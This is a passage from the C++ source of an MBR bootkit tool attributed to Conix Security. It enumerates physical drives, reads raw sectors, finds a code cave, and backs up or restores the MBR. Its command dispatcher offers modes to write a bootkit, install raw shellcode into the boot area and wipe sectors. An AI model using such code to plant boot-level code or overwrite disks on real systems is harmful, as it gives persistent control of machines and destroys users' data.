| BOOL read_mode = FALSE; 82 | BOOL write_ascii_art_mode = FALSE; 83 | BOOL simulation = FALSE; 84 | BOOL restore_dos_mode = FALSE; 85 | BOOL restore_backup_mode = FALSE; 86 | BOOL wipe_bootkit = FALSE; 87 | BOOL restore_table = FALSE; 88 | BOOL install_raw = FALSE; 89 | BOOL backup_mbr_mode = FALSE; 90 | BOOL write_mbr_mode = FALSE; 91 | BOOL wipe_device = FALSE; 92 | 93 | char* device_name = NULL; 94 | char* path = NULL; 95 | char* temp_buffer = NULL; 96 | 97 | bytes_per_sector = 0x200; 98 | len = 0; 99 | start = 0; 100 | mode = 0; 101 | 102 | for(i = 0; i 0x2F && temp_buffer[0] < 0x3A) 161 | { 162 | device_name = (char*)malloc(19); 163 | *device_name = 0x00; 164 | strcpy_s(device_name,19,"\\\\.\\PhysicalDrive"); 165 | strcat_s(device_name,19,temp_buffer); 166 | } 167 | } 168 | } 169 | else if((!_stricmp(argv[i], "-b1") || !_stricmp(argv[i], "-backup1st")) && i 1) 222 | { 223 | printf("[!] Please only do one time at once.\n"); 224 | return -1; 225 | } 226 | 227 | if(enumerate) 228 | { 229 | enumerate_drives(); 230 | return 0; 231 | } 232 | 233 | if(device_name == NULL) 234 | { 235 | printf("[!] Please specify the device.\n"); 236 | return 0; 237 | } 238 | 239 | if(vmware_device) 240 | bytes_per_sector = 0x200; 241 | else 242 | if(read_device_information(device_name)!=0) 243 | return -1; 244 | 245 | if(read_mode && len!=0) 246 | { 247 | if(vmware_device) 248 | read_sectors_vmdk_file(start, len, device_name); 249 | else 250 | read_sectors_device(start, len, device_name); 251 | } 252 | else if(wipe_device) 253 | { 254 | printf("[!] Wipe %s %d sectors starting from sector #2 : are you sure ?\n",device_name, start); 255 | system("pause"); 256 | wipe_device_sectors(device_name,start); 257 | } 258 | else if(install_raw) 259 | { 260 | install_raw_shellcode(path, device_name, simulation); 261 | } 262 | else if(restore_backup_mode) 263 | { 264 | printf("[!] Restore %s auto-saved MBR data on %s : are you sure ?\n",path, device_name); 265 | system("pause"); 266 | if(vmware_device) 267 | restore_from_saved_mbr_vmdk_file(path,device_name, restore_table, wipe_bootkit); 268 | else 269 | restore_from_saved_mbr_device(path,device_name, restore_table, wipe_bootkit); 270 | } 271 | else if(backup_mbr_mode) 272 | { 273 | printf("[!] Backup %s MBR 1st sector on %s.\n",path, device_name); 274 | if(vmware_device) 275 | backup_mbr_vmdk_file(path,device_name); 276 | else 277 | backup_mbr_device(path,device_name); 278 | } 279 | else if(write_mbr_mode) 280 | { 281 | printf("[!] Write %s saved MBR 1st sector on %s : are you sure ?\n",path, device_name); 282 | system("pause"); 283 | if(vmware_device) 284 | write_mbr_vmdk_file(path,device_name); 285 | else 286 | write_from_saved_mbr_device(path,device_name); 287 | } 288 | else if(restore_dos_mode) 289 | { 290 | printf("[!] Write DOS MBR on %s : are you sure ?\n",device_name); 291 | system("pause"); 292 | if(vmware_device) 293 | restore_dos_mbr_vmdk_file(device_name); 294 | else 295 | restore_dos_mbr_device(device_name); 296 | } 297 | else if(write_ascii_art_mode) 298 | { 299 | if(vmware_device) 300 | { 301 | printf("[!] VMware patching support is not available.\n"); 302 | return -1; 303 | } 304 | if(path == NULL) 305 | { 306 | printf("[!] There is no defined template.\n"); 307 | return -1; 308 | } 309 | if(!simulation) 310 | { 311 | printf("[!] Write bootkit on %s : are you sure ?\n",device_name); 312 | system("pause"); 313 | } 314 | write_ascii_art_mbr(device_name, simulation, path); 315 | } 316 | else 317 | help(); 318 | 319 | printf("\n"); 320 | return 0; 321 | } 322 | -------------------------------------------------------------------------------- /MLB/parsing.cpp: -------------------------------------------------------------------------------- 1 | // Copyright 2013 Conix Security, Adrien Chevalier 2 | // adrien.chevalier@conix.fr 3 | // 4 | // This program is free software: you can redistribute it and/or modify 5 | // it under the terms of the GNU General Public License as published by 6 | // the Free Software Foundation, either version 3 of the License, or 7 | // (at your option) any later version. 8 | // 9 | // This program is distributed in the hope that it will be useful, 10 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | // GNU General Public License for more details. 13 | // 14 | // You should have received a copy of the GNU General Public License 15 | // along with this program. If not, see . 16 | #include "bootkit_tool.h" 17 | 18 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 19 | // Description : 20 | // Parses partition table to find code cave. 21 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 22 | DWORD get_first_sector_offset_from_first_sector(PBYTE first_sector) 23 | { 24 | PBYTE partition_table_ptr = first_sector+0x1be; 25 | PDWORD current_sector_offset; 26 | DWORD min_sector_offset=0xFFFFFFFF; 27 | DWORD i; 28 | 29 | for(i=0; i<4; i++) 30 | { 31 | current_sector_offset = (PDWORD)(partition_table_ptr+8); 32 | if(*current_sector_offset != 0x0 && *current_sector_offset < min_sector_offset) 33 | min_sector_offset = *current_sector_offset; 34 | 35 | partition_table_ptr = partition_table_ptr + 0x10; 36 | } 37 | 38 | return min_sector_offset; 39 | } 40 | 41 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 42 | // Description : 43 | // Reads device info (bytes per sector, etc.). 44 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 45 | DWORD read_device_information(char* device) 46 | { 47 | HANDLE hPD; 48 | DWORD len; 49 | DISK_GEOMETRY diskInformation; 50 | 51 | printf("[-] Reading drive information\n"); 52 | hPD = CreateFileA(device,GENERIC_READ,0,NULL,OPEN_EXISTING,0,NULL); 53 | if(hPD == NULL || hPD == INVALID_HANDLE_VALUE) 54 | { 55 | printf("[!] Can't open %s (read)\n",device); 56 | return -1; 57 | } 58 | if(!DeviceIoControl(hPD,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,(LPVOID)&diskInformation,sizeof(diskInformation),&len,NULL)) 59 | { 60 | printf("[!] Can't get %s information.\n",device); 61 | CloseHandle(hPD); 62 | return -1; 63 | } 64 | 65 | bytes_per_sector = diskInformation.BytesPerSector; 66 | sectors_per_track = diskInformation.SectorsPerTrack; 67 | tracks_per_cylinder = diskInformation.TracksPerCylinder; 68 | 69 | if(bytes_per_sector != 0x200) 70 | { 71 | printf("[!] Only 512 bytes/sector drives are handled (for now).\n"); 72 | CloseHandle(hPD); 73 | return -1; 74 | } 75 | 76 | CloseHandle(hPD); 77 | return 0; 78 | } 79 | -------------------------------------------------------------------------------- /MLB/read.cpp: -------------------------------------------------------------------------------- 1 | // Copyright 2013 Conix Security, Adrien Chevalier 2 | // adrien.chevalier@conix.fr 3 | // 4 | // This program is free software: you can redistribute it and/or modify 5 | // it under the terms of the GNU General Public License as published by 6 | // the Free Software Foundation, either version 3 of the License, or 7 | // (at your option) any later version. 8 | // 9 | // This program is distributed in the hope that it will be useful, 10 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | // GNU General Public License for more details. 13 | // 14 | // You should have received a copy of the GNU General Public License 15 | // along with this program. If not, see . 16 | #include "bootkit_tool.h" 17 | 18 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 19 | // Description : 20 | // List devices. 21 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 22 | DWORD enumerate_drives() 23 | { 24 | char deviceStr[0x20]={0x00}; 25 | DWORD i=0; 26 | HANDLE hPD; 27 | DWORD len; 28 | DISK_GEOMETRY diskInformation; 29 | 30 | printf( 31 | "==============================\n" 32 | " DEVICE NAME\t\tTYPE\n" 33 | "------------------------------\n"); 34 | 35 | for(i=0; i<0x40; i++) 36 | { 37 | sprintf_s(deviceStr,0x40,"\\\\.\\PhysicalDrive%d",i); 38 | 39 | hPD = CreateFileA(deviceStr,GENERIC_READ,0,NULL,OPEN_EXISTING,0,NULL); 40 | if(hPD != NULL && hPD != INVALID_HANDLE_VALUE) 41 | { 42 | printf("%s",deviceStr); 43 | if(!DeviceIoControl(hPD,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,(LPVOID)&diskInformation,sizeof(diskInformation),&len,NULL)) 44 | printf("\n"); 45 | else 46 | { 47 | if(diskInformation.MediaType==RemovableMedia) 48 | printf("\tRemovableMedia\n"); 49 | else if(diskInformation.MediaType==FixedMedia) 50 | printf("\tfixed\n"); 51 | else 52 | printf("\tfloppy\n"); 53 | } 54 | } 55 | 56 | CloseHandle(hPD); 57 | } 58 | printf("------------------------------\n"); 59 | return 0; 60 | } 61 | 62 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 63 | // Description : 64 | // Reads sectors. 65 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 66 | DWORD read_sectors_vmdk_file(int start, int nbSectors, char* vmdk_file) 67 | { 68 | return read_sectors(start, nbSectors,vmdk_file,0x510000); 69 | } 70 | DWORD read_sectors_device(int start, int nbSectors, char* device) 71 | { 72 | return read_sectors(start, nbSectors,device,0); 73 | } 74 | DWORD read_sectors(int start, int nbSectors, char* device, DWORD mbr_offset) 75 | { 76 | HANDLE hPD; 77 | DWORD lenRead; 78 | PBYTE buffer; 79 | DWORD i; 80 | hPD = CreateFileA(device,GENERIC_READ,0,NULL,OPEN_EXISTING,0,NULL); 81 | 82 | if(hPD == INVALID_HANDLE_VALUE || hPD == NULL) 83 | { 84 | printf("[!] Can't open %s\n",device); 85 | return -1; 86 | } 87 | 88 | if(mbr_offset != 0 || start != 0) 89 | { 90 | if(SetFilePointer(hPD,mbr_offset+(start*bytes_per_sector),NULL,FILE_BEGIN) != mbr_offset+(start*bytes_per_sector)) 91 | { 92 | printf("[!] Can't go to offset 0x%x\n",mbr_offset+(start*bytes_per_sector)); 93 | CloseHandle(hPD); 94 | return -1; 95 | } 96 | } 97 | buffer = (PBYTE)malloc(nbSectors*bytes_per_sector); 98 | if(ReadFile(hPD, buffer, nbSectors*bytes_per_sector, &lenRead, NULL)) 99 | { 100 | for(i=0; i<(int)lenRead; i++) 101 | { 102 | if(i % 0x10 == 0) 103 | printf("\n%.8x\t",i+(start*bytes_per_sector)); 104 | 105 | printf("%.2x ",buffer[i]); 106 | } 107 | } 108 | else 109 | printf("[!] Can't read bytes\n"); 110 | 111 | free(buffer); 112 | CloseHandle(hPD); 113 | 114 | 115 | return 0; 116 | } 117 | -------------------------------------------------------------------------------- /MLB/restore_1st_sector.cpp: -------------------------------------------------------------------------------- 1 | // Copyright 2013 Conix Security, Adrien Chevalier 2 | // adrien.chevalier@conix.fr 3 | // 4 | // This program is free software: you can redistribute it and/or modify 5 | // it under the terms of the GNU General Public License as published by 6 | // the Free Software Foundation, either version 3 of the License, or 7 | // (at your option) any later version. 8 | // 9 | // This program is distributed in the hope that it will be useful, 10 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | // GNU General Public License for more details. 13 | // 14 | // You should have received a copy of the GNU General Public License 15 | // along with this program. If not, see . 16 | #include "bootkit_tool.h" 17 | 18 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 19 | // Description : 20 | // Writes "backup" 1st sector (MBR + part table) to disk. 21 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 22 | DWORD write_mbr_vmdk_file(char* backup, char* device_name) 23 | { 24 | return write_mbr(backup, device_name, 0x510000); 25 | } 26 | DWORD write_from_saved_mbr_device(char* backup, char* device_name) 27 | { 28 | return write_mbr(backup, device_name, 0); 29 | } 30 | 31 | DWORD write_mbr(char* backup, char* device, DWORD mbr_offset) 32 | { 33 | HANDLE hPD; 34 | DWORD len; 35 | PBYTE originalMbr; 36 | 37 | printf("[-] Reading backup file\n"); 38 | hPD = CreateFileA(backup,GENERIC_READ,0,NULL,OPEN_EXISTING,0,NULL); 39 | if(hPD == NULL || hPD == INVALID_HANDLE_VALUE) 40 | { 41 | printf("[!] Can't open %s (read)\n",backup); 42 | return -1; 43 | } 44 | originalMbr = (PBYTE)malloc(bytes_per_sector); 45 | if(!ReadFile(hPD, originalMbr, bytes_per_sector, &len, NULL)) 46 | { 47 | printf("[!] Can't read.\n"); 48 | free(originalMbr); 49 | CloseHandle(hPD); 50 | return -1; 51 | } 52 | CloseHandle(hPD); 53 | 54 | hPD = CreateFileA(device,GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL); 55 | if(hPD == NULL || hPD == INVALID_HANDLE_VALUE) 56 | { 57 | printf("[!] Can't open %s (write)\n",device); 58 | CloseHandle(hPD); 59 | free(originalMbr); 60 | return -1; 61 | } 62 | if(mbr_offset != 0) 63 | { 64 | if(SetFilePointer(hPD,mbr_offset,NULL,FILE_BEGIN) != mbr_offset) 65 | { 66 | printf("[!] Can't go to offset 0x%x\n",mbr_offset); 67 | CloseHandle(hPD); 68 | free(originalMbr); 69 | return -1; 70 | } 71 | } 72 | 73 | printf("[-]Writing original MBR + partition table. Continue ?\n"); 74 | 75 | system("pause"); 76 | if(!WriteFile(hPD,originalMbr,bytes_per_sector,&len,NULL)) 77 | { 78 | printf("[!] Can't write %s sector at offset 0x%x\n",device,mbr_offset); 79 | CloseHandle(hPD); 80 | free(originalMbr); 81 | return -1; 82 | } 83 | 84 | free(originalMbr); 85 | CloseHandle(hPD); 86 | return 0; 87 | } 88 | 89 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 90 | // Description : 91 | // Reads 1st sector (MBR + part table) and writes it into "backup" file. 92 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 93 | DWORD backup_mbr_device(char* backup, char* device_name) 94 | { 95 | return backup_mbr(backup, device_name, 0); 96 | } 97 | DWORD backup_mbr_vmdk_file(char* backup, char* device_name) 98 | { 99 | return backup_mbr(backup, device_name, 0x510000); 100 | } 101 | DWORD backup_mbr(char* backup, char* device, DWORD mbr_offset) 102 | { 103 | HANDLE hPD; 104 | HANDLE hFile; 105 | DWORD lenRead; 106 | PBYTE buffer; 107 | 108 | hPD = CreateFileA(device,GENERIC_READ,0,NULL,OPEN_EXISTING,0,NULL); 109 | if(hPD == INVALID_HANDLE_VALUE || hPD == NULL) 110 | { 111 | printf("[!] Can't open %s\n",device); 112 | return -1; 113 | } 114 | if(mbr_offset != 0) 115 | { 116 | if(SetFilePointer(hPD,mbr_offset,NULL,FILE_BEGIN) != mbr_offset) 117 | { 118 | printf("[!] Can't go to offset 0x%x\n",mbr_offset); 119 | CloseHandle(hPD); 120 | return -1; 121 | } 122 | } 123 | 124 | buffer = (PBYTE)malloc(bytes_per_sector); 125 | if(ReadFile(hPD, buffer, bytes_per_sector, &lenRead, NULL)) 126 | { 127 | hFile = CreateFileA(backup, GENERIC_WRITE,0,NULL,OPEN_ALWAYS,0,NULL); 128 | if(hFile == INVALID_HANDLE_VALUE || hFile == NULL) 129 | { 130 | printf("[!] Can't open %s\n",backup); 131 | free(buffer); 132 | CloseHandle(hPD); 133 | return -1; 134 | } 135 | if(!WriteFile(hFile,buffer,bytes_per_sector,&lenRead,NULL)) 136 | { 137 | printf("[!] Can't write %s\n",backup); 138 | free(buffer); 139 | CloseHandle(hPD); 140 | CloseHandle(hFile); 141 | return -1; 142 | } 143 | CloseHandle(hFile); 144 | printf("[-] MBR (+ partition table) written in %s.\n",backup); 145 | } 146 | else 147 | printf("[!] Can't read MBR.\n"); 148 | 149 | free(buffer); 150 | CloseHandle(hPD); 151 | return 0; 152 | } 153 | -------------------------------------------------------------------------------- /MLB/restore_dos.cpp: -------------------------------------------------------------------------------- 1 | // Copyright 2013 Conix Security, Adrien Chevalier 2 | // adrien.chevalier@conix.fr 3 | // 4 | // This program is free software: you can redistribute it and/or modify 5 | // it under the terms of the GNU General Public License as published by 6 | // the Free Software Foundation, either version 3 of the License, or 7 | // (at your option) any later version. 8 | // 9 | // This program is distributed in the hope that it will be useful, 10 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | // GNU General Public License for more details. 13 | // 14 | // You should have received a copy of the GNU General Public License 15 | // along with this program. If not, see . 16 | #include "bootkit_tool.h" 17 | 18 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 19 | // Description : 20 | // Writes generic DOS MBR code to disk. 21 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 22 | DWORD restore_dos_mbr_vmdk_file(char* vmdk_path) 23 | { 24 | return restore_dos_mbr(vmdk_path,0x510000); 25 | } 26 | DWORD restore_dos_mbr_device(char* device_name) 27 | { 28 | return restore_dos_mbr(device_name,0); 29 | } 30 | DWORD restore_dos_mbr(char* device, DWORD mbr_offset) 31 | { 32 | BYTE dos_mbr[]={ 33 | 0x33, 0xc0, 0x8e, 0xd0, 0xbc, 0x00, 0x7c, 0xfb, 0x50, 0x07, 0x50, 0x1f, 0xfc, 0xbe, 0x1b, 0x7c, 34 | 0xbf, 0x1b, 0x06, 0x50, 0x57, 0xb9, 0xe5, 0x01, 0xf3, 0xa4, 0xcb, 0xbd, 0xbe, 0x07, 0xb1, 0x04, 35 | 0x38, 0x6e, 0x00, 0x7c, 0x09, 0x75, 0x13, 0x83, 0xc5, 0x10, 0xe2, 0xf4, 0xcd, 0x18, 0x8b, 0xf5, 36 | 0x83, 0xc6, 0x10, 0x49, 0x74, 0x19, 0x38, 0x2c, 0x74, 0xf6, 0xa0, 0xb5, 0x07, 0xb4, 0x07, 0x8b, 37 | 0xf0, 0xac, 0x3c, 0x00, 0x74, 0xfc, 0xbb, 0x07, 0x00, 0xb4, 0x0e, 0xcd, 0x10, 0xeb, 0xf2, 0x88, 38 | 0x4e, 0x10, 0xe8, 0x46, 0x00, 0x73, 0x2a, 0xfe, 0x46, 0x10, 0x80, 0x7e, 0x04, 0x0b, 0x74, 0x0b, 39 | 0x80, 0x7e, 0x04, 0x0c, 0x74, 0x05, 0xa0, 0xb6, 0x07, 0x75, 0xd2, 0x80, 0x46, 0x02, 0x06, 0x83, 40 | 0x46, 0x08, 0x06, 0x83, 0x56, 0x0a, 0x00, 0xe8, 0x21, 0x00, 0x73, 0x05, 0xa0, 0xb6, 0x07, 0xeb, 41 | 0xbc, 0x81, 0x3e, 0xfe, 0x7d, 0x55, 0xaa, 0x74, 0x0b, 0x80, 0x7e, 0x10, 0x00, 0x74, 0xc8, 0xa0, 42 | 0xb7, 0x07, 0xeb, 0xa9, 0x8b, 0xfc, 0x1e, 0x57, 0x8b, 0xf5, 0xcb, 0xbf, 0x05, 0x00, 0x8a, 0x56, 43 | 0x00, 0xb4, 0x08, 0xcd, 0x13, 0x72, 0x23, 0x8a, 0xc1, 0x24, 0x3f, 0x98, 0x8a, 0xde, 0x8a, 0xfc, 44 | 0x43, 0xf7, 0xe3, 0x8b, 0xd1, 0x86, 0xd6, 0xb1, 0x06, 0xd2, 0xee, 0x42, 0xf7, 0xe2, 0x39, 0x56, 45 | 0x0a, 0x77, 0x23, 0x72, 0x05, 0x39, 0x46, 0x08, 0x73, 0x1c, 0xb8, 0x01, 0x02, 0xbb, 0x00, 0x7c, 46 | 0x8b, 0x4e, 0x02, 0x8b, 0x56, 0x00, 0xcd, 0x13, 0x73, 0x51, 0x4f, 0x74, 0x4e, 0x32, 0xe4, 0x8a, 47 | 0x56, 0x00, 0xcd, 0x13, 0xeb, 0xe4, 0x8a, 0x56, 0x00, 0x60, 0xbb, 0xaa, 0x55, 0xb4, 0x41, 0xcd, 48 | 0x13, 0x72, 0x36, 0x81, 0xfb, 0x55, 0xaa, 0x75, 0x30, 0xf6, 0xc1, 0x01, 0x74, 0x2b, 0x61, 0x60, 49 | 0x6a, 0x00, 0x6a, 0x00, 0xff, 0x76, 0x0a, 0xff, 0x76, 0x08, 0x6a, 0x00, 0x68, 0x00, 0x7c, 0x6a, 50 | 0x01, 0x6a, 0x10, 0xb4, 0x42, 0x8b, 0xf4, 0xcd, 0x13, 0x61, 0x61, 0x73, 0x0e, 0x4f, 0x74, 0x0b, 51 | 0x32, 0xe4, 0x8a, 0x56, 0x00, 0xcd, 0x13, 0xeb, 0xd6, 0x61, 0xf9, 0xc3, 0x54, 0x61, 0x62, 0x6c, 52 | 0x65, 0x20, 0x64, 0x65, 0x20, 0x70, 0x61, 0x72, 0x74, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x6e, 53 | 0x6f, 0x6e, 0x20, 0x76, 0x61, 0x6c, 0x69, 0x64, 0x65, 0x00, 0x45, 0x72, 0x72, 0x65, 0x75, 0x72, 54 | 0x20, 0x6c, 0x6f, 0x72, 0x73, 0x20, 0x64, 0x75, 0x20, 0x63, 0x68, 0x61, 0x72, 0x67, 0x65, 0x6d, 55 | 0x65, 0x6e, 0x74, 0x20, 0x64, 0x75, 0x20, 0x73, 0x79, 0x73, 0x74, 0x8a, 0x6d, 0x65, 0x20, 0x64, 56 | 0x27, 0x65, 0x78, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x61, 0x74, 0x69, 0x00, 0x53, 0x79, 0x73, 0x74, 57 | 0x8a, 0x6d, 0x65, 0x20, 0x64, 0x27, 0x65, 0x78, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x61, 0x74, 0x69, 58 | 0x6f, 0x6e, 0x20, 0x61, 0x62, 0x73, 0x65, 0x6e, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 59 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 60 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x2c, 0x4a, 0x7c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 61 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 62 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 63 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 64 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xaa 65 | }; 66 | HANDLE hPD; 67 | DWORD len; 68 | PBYTE originalMbr; 69 | 70 | printf("[-] Reading partition table\n"); 71 | hPD = CreateFileA(device,GENERIC_READ,0,NULL,OPEN_EXISTING,0,NULL); 72 | if(hPD == NULL || hPD == INVALID_HANDLE_VALUE) 73 | { 74 | printf("[!] Can't open %s (read)\n",device); 75 | return -1; 76 | } 77 | 78 | if(mbr_offset != 0) 79 | { 80 | if(SetFilePointer(hPD,mbr_offset,NULL,FILE_BEGIN) != mbr_offset) 81 | { 82 | printf("[!] Can't go to offset 0x%x\n",mbr_offset); 83 | CloseHandle(hPD); 84 | return -1; 85 | } 86 | } 87 | 88 | originalMbr=(PBYTE)malloc(bytes_per_sector); 89 | if(!ReadFile(hPD, originalMbr, bytes_per_sector, &len, NULL)) 90 | { 91 | printf("[!] Can't read sector at offset 0x%x\n",mbr_offset); 92 | free(originalMbr); 93 | CloseHandle(hPD); 94 | return -1; 95 | } 96 | CloseHandle(hPD); 97 | 98 | // patch DOS mbr code with partition table 99 | memcpy((PVOID)((DWORD)dos_mbr+0x1b8),(PVOID)((DWORD)originalMbr+0x1b8),0x48); 100 | free(originalMbr); 101 | 102 | printf("[-] Writing DOS MBR\n"); 103 | hPD = CreateFileA(device,GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL); 104 | if(hPD == NULL || hPD == INVALID_HANDLE_VALUE) 105 | { 106 | printf("[!] Can't open %s (write)\n",device); 107 | CloseHandle(hPD); 108 | return -1; 109 | } 110 | if(SetFilePointer(hPD,mbr_offset,NULL,FILE_BEGIN) != mbr_offset) 111 | { 112 | printf("[!] Can't go to offset 0x%x (write)\n",mbr_offset); 113 | CloseHandle(hPD); 114 | return -1; 115 | } 116 | if(!WriteFile(hPD,dos_mbr,bytes_per_sector,&len,NULL)) 117 | { 118 | printf("[!] Can't write sector at offset 0x%x\n",mbr_offset); 119 | CloseHandle(hPD); 120 | return -1; 121 | } 122 | 123 | printf("[-] Finished\n"); 124 | CloseHandle(hPD); 125 | return 0; 126 | } 127 | -------------------------------------------------------------------------------- /MLB/restore_saved_mbr.cpp: -------------------------------------------------------------------------------- 1 | // Copyright 2013 Conix Security, Adrien Chevalier 2 | // adrien.chevalier@conix.fr 3 | // 4 | // This program is free software: you can redistribute it and/or modify 5 | // it under the terms of the GNU General Public License as published by 6 | // the Free Software Foundation, either version 3 of the License, or 7 | // (at your option) any later version. 8 | // 9 | // This program is distributed in the hope that it will be useful, 10 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | // GNU General Public License for more details. 13 | // 14 | // You should have received a copy of the GNU General Public License 15 | // along with this program. If not, see . 16 | #include "bootkit_tool.h" 17 | 18 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 19 | // Description : 20 | // Restores MBR from backup file (created while patching). 21 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 22 | DWORD restore_from_saved_mbr_device(char* backup, char* device_name, BOOL write_partition_table, BOOL wipe_bootkit) 23 | { 24 | return restore_from_saved_mbr(backup, device_name,0,write_partition_table,wipe_bootkit); 25 | } 26 | DWORD restore_from_saved_mbr_vmdk_file(char* backup, char* vmdk_path, BOOL write_partition_table, BOOL wipe_bootkit) 27 | { 28 | return restore_from_saved_mbr(backup, vmdk_path, 0x510000,write_partition_table,wipe_bootkit); 29 | } 30 | DWORD restore_from_saved_mbr(char* backup, char* device, DWORD mbr_offset, BOOL write_partition_table, BOOL wipe_bootkit) 31 | { 32 | HANDLE hPD; 33 | DWORD len; 34 | PBYTE originalMbr; 35 | DWORD beginWipe, wipeSize; 36 | 37 | printf("[-] Reading backup file\n"); 38 | hPD = CreateFileA(backup,GENERIC_READ,0,NULL,OPEN_EXISTING,0,NULL); 39 | if(hPD == NULL || hPD == INVALID_HANDLE_VALUE) 40 | { 41 | printf("[!] Can't open %s (read)\n",backup); 42 | return -1; 43 | } 44 | if(!ReadFile(hPD, &beginWipe, 4, &len, NULL)) 45 | { 46 | printf("[!] Can't read.\n"); 47 | CloseHandle(hPD); 48 | return -1; 49 | } 50 | if(!ReadFile(hPD, &wipeSize, 4, &len, NULL)) 51 | { 52 | printf("[!] Can't read.\n"); 53 | CloseHandle(hPD); 54 | return -1; 55 | } 56 | originalMbr = (PBYTE)malloc(bytes_per_sector); 57 | if(!ReadFile(hPD, originalMbr, bytes_per_sector, &len, NULL)) 58 | { 59 | printf("[!] Can't read.\n"); 60 | free(originalMbr); 61 | CloseHandle(hPD); 62 | return -1; 63 | } 64 | CloseHandle(hPD); 65 | 66 | 67 | hPD = CreateFileA(device,GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL); 68 | if(hPD == NULL || hPD == INVALID_HANDLE_VALUE) 69 | { 70 | printf("[!] Can't open %s (write)\n",device); 71 | CloseHandle(hPD); 72 | free(originalMbr); 73 | return -1; 74 | } 75 | 76 | if(mbr_offset != 0) 77 | { 78 | if(SetFilePointer(hPD,mbr_offset,NULL,FILE_BEGIN) != mbr_offset) 79 | { 80 | printf("[!] Can't go to offset 0x%x\n",mbr_offset); 81 | CloseHandle(hPD); 82 | free(originalMbr); 83 | return -1; 84 | } 85 | } 86 | 87 | if(!write_partition_table) 88 | { 89 | printf("[-]Writing saved MBR.\n"); 90 | if(!WriteFile(hPD,originalMbr,MBR_BOOTLOADER_AREA_SIZE,&len,NULL)) 91 | { 92 | printf("[!] Can't write %s sector at offset 0x%x\n",device,mbr_offset); 93 | CloseHandle(hPD); 94 | free(originalMbr); 95 | return -1; 96 | } 97 | } 98 | else 99 | { 100 | printf("[-]Writing original MBR + partition table. Continue ?\n"); 101 | system("pause"); 102 | if(!WriteFile(hPD,originalMbr,bytes_per_sector,&len,NULL)) 103 | { 104 | printf("[!] Can't write %s sector at offset 0x%x\n",device,mbr_offset); 105 | CloseHandle(hPD); 106 | free(originalMbr); 107 | return -1; 108 | } 109 | } 110 | 111 | free(originalMbr); 112 | 113 | if(wipe_bootkit) 114 | { 115 | if(wipeSize > 0x10000 || beginWipe == 0) 116 | { 117 | printf("[!] Backup file error.\n"); 118 | CloseHandle(hPD); 119 | return -1; 120 | } 121 | 122 | printf("[-]Wiping %d bytes at 0x%x. Continue ?\n", wipeSize, beginWipe); 123 | system("pause"); 124 | 125 | originalMbr = (PBYTE)malloc(wipeSize); 126 | memset(originalMbr,0,wipeSize); 127 | if(SetFilePointer(hPD,beginWipe,NULL,FILE_BEGIN) != beginWipe) 128 | { 129 | printf("[!] Can't go to offset 0x%x\n",beginWipe); 130 | CloseHandle(hPD); 131 | free(originalMbr); 132 | return -1; 133 | } 134 | if(!WriteFile(hPD,originalMbr,wipeSize,&len,NULL)) 135 | { 136 | printf("[!] Can't wipe %d bytes at 0x%x\n",wipeSize,beginWipe); 137 | CloseHandle(hPD); 138 | free(originalMbr); 139 | return -1; 140 | } 141 | 142 | } 143 | 144 | free(originalMbr); 145 | CloseHandle(hPD); 146 | return 0; 147 | } 148 | -------------------------------------------------------------------------------- /MLB/wipe.cpp: -------------------------------------------------------------------------------- 1 | // Copyright 2013 Conix Security, Adrien Chevalier 2 | // adrien.chevalier@conix.fr 3 | // 4 | // This program is free software: you can redistribute it and/or modify 5 | // it under the terms of the GNU General Public License as published by 6 | // the Free Software Foundation, either version 3 of the License, or 7 | // (at your option) any later version. 8 | // 9 | // This program is 